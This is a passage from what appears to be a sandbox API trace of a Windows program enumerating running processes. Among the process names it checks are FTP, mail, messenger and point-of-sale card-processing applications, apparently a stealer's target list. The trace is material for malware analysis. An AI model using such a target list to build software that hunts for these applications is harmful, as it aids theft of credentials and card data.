th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0095.096] lstrlenW (lpString="developingthousands.exe") returned 23 [0095.096] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0095.096] lstrlenW (lpString="efattack.exe") returned 12 [0095.096] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0095.097] lstrlenW (lpString="feedback.exe") returned 12 [0095.097] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0095.098] lstrlenW (lpString="happy blond engage.exe") returned 22 [0095.098] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0095.099] lstrlenW (lpString="controller_type.exe") returned 19 [0095.099] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0095.099] lstrlenW (lpString="donations_berry.exe") returned 19 [0095.100] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0095.100] lstrlenW (lpString="lindsay.exe") returned 11 [0095.100] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0095.101] lstrlenW (lpString="columnists.exe") returned 14 [0095.101] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0095.102] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0095.102] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0095.102] lstrlenW (lpString="chose.exe") returned 9 [0095.103] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0095.103] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0095.103] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0095.104] lstrlenW (lpString="methods.exe") returned 11 [0095.104] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0095.105] lstrlenW (lpString="circulation.exe") returned 15 [0095.105] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0095.105] lstrlenW (lpString="suited.exe") returned 10 [0095.105] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0095.106] lstrlenW (lpString="infrastructure.exe") returned 18 [0095.106] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0095.107] lstrlenW (lpString="manager_olympic.exe") returned 19 [0095.107] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0095.108] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0095.108] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0095.108] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0095.108] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0095.109] lstrlenW (lpString="3dftp.exe") returned 9 [0095.109] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0095.110] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0095.110] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0095.110] lstrlenW (lpString="alftp.exe") returned 9 [0095.111] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0095.111] lstrlenW (lpString="barca.exe") returned 9 [0095.111] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0095.112] lstrlenW (lpString="bitkinex.exe") returned 12 [0095.112] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0095.113] lstrlenW (lpString="coreftp.exe") returned 11 [0095.113] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0095.114] lstrlenW (lpString="far.exe") returned 7 [0095.114] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0095.115] lstrlenW (lpString="filezilla.exe") returned 13 [0095.115] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0095.116] lstrlenW (lpString="flashfxp.exe") returned 12 [0095.116] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0095.116] lstrlenW (lpString="fling.exe") returned 9 [0095.116] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0095.117] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0095.117] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0095.117] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0095.117] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0095.118] lstrlenW (lpString="icq.exe") returned 7 [0095.118] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0095.119] lstrlenW (lpString="leechftp.exe") returned 12 [0095.119] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0095.120] lstrlenW (lpString="ncftp.exe") returned 9 [0095.120] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0095.121] lstrlenW (lpString="notepad.exe") returned 11 [0095.121] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0095.122] lstrlenW (lpString="operamail.exe") returned 13 [0095.122] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0095.128] lstrlenW (lpString="pidgin.exe") returned 10 [0095.128] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0095.129] lstrlenW (lpString="scriptftp.exe") returned 13 [0095.129] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0095.130] lstrlenW (lpString="skype.exe") returned 9 [0095.130] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0095.131] lstrlenW (lpString="smartftp.exe") returned 12 [0095.131] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0095.235] lstrlenW (lpString="thunderbird.exe") returned 15 [0095.235] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0095.236] lstrlenW (lpString="totalcmd.exe") returned 12 [0095.236] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0095.237] lstrlenW (lpString="trillian.exe") returned 12 [0095.237] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0095.238] lstrlenW (lpString="webdrive.exe") returned 12 [0095.238] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0095.239] lstrlenW (lpString="whatsapp.exe") returned 12 [0095.239] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0095.240] lstrlenW (lpString="winscp.exe") returned 10 [0095.240] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0095.241] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0095.241] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0095.242] lstrlenW (lpString="active-charge.exe") returned 17 [0095.242] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0095.243] lstrlenW (lpString="accupos.exe") returned 11 [0095.243] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0095.244] lstrlenW (lpString="afr38.exe") returned 9 [0095.244] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0095.245] lstrlenW (lpString="aldelo.exe") returned 10 [0095.245] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0095.246] lstrlenW (lpString="ccv_server.exe") returned 14 [0095.246] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0095.246] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0095.246] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0095.247] lstrlenW (lpString="creditservice.exe") returned 17 [0095.247] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0095.248] lstrlenW (lpString="edcsvr.exe") returned 10 [0095.248] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0095.249] lstrlenW (lpString="fpos.exe") returned 8 [0095.249] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0095.250] lstrlenW (lpString="isspos.exe") returned 10 [0095.250] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0095.250] lstrlenW (lpString="mxslipstream.exe") returned 16 [0095.250] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0095.251] lstrlenW (lpString="omnipos.exe") returned 11 [0095.251] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0095.252] lstrlenW (lpString="spcwin.exe") returned 10 [0095.252] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0095.255] lstrlenW (lpString="spgagentservice.exe") returned 19 [0095.255] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0095.255] lstrlenW (lpString="utg2.exe") returned 8 [0095.256] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0095.256] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0095.256] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0095.257] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0095.257] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0095.258] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0095.258] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0095.258] lstrlenW (lpString="achieve.exe") returned 11 [0095.258] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0095.259] lstrlenW (lpString="harvard.exe") returned 11 [0095.259] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0095.260] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0095.260] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0095.260] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0095.260] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0095.261] lstrlenW (lpString="taskhost.exe") returned 12 [0095.261] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0095.262] lstrlenW (lpString="mdskkv.exe") returned 10 [0095.262] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0095.263] lstrlenW (lpString="cmd.exe") returned 7 [0095.263] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0095.263] lstrlenW (lpString="conhost.exe") returned 11 [0095.263] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, 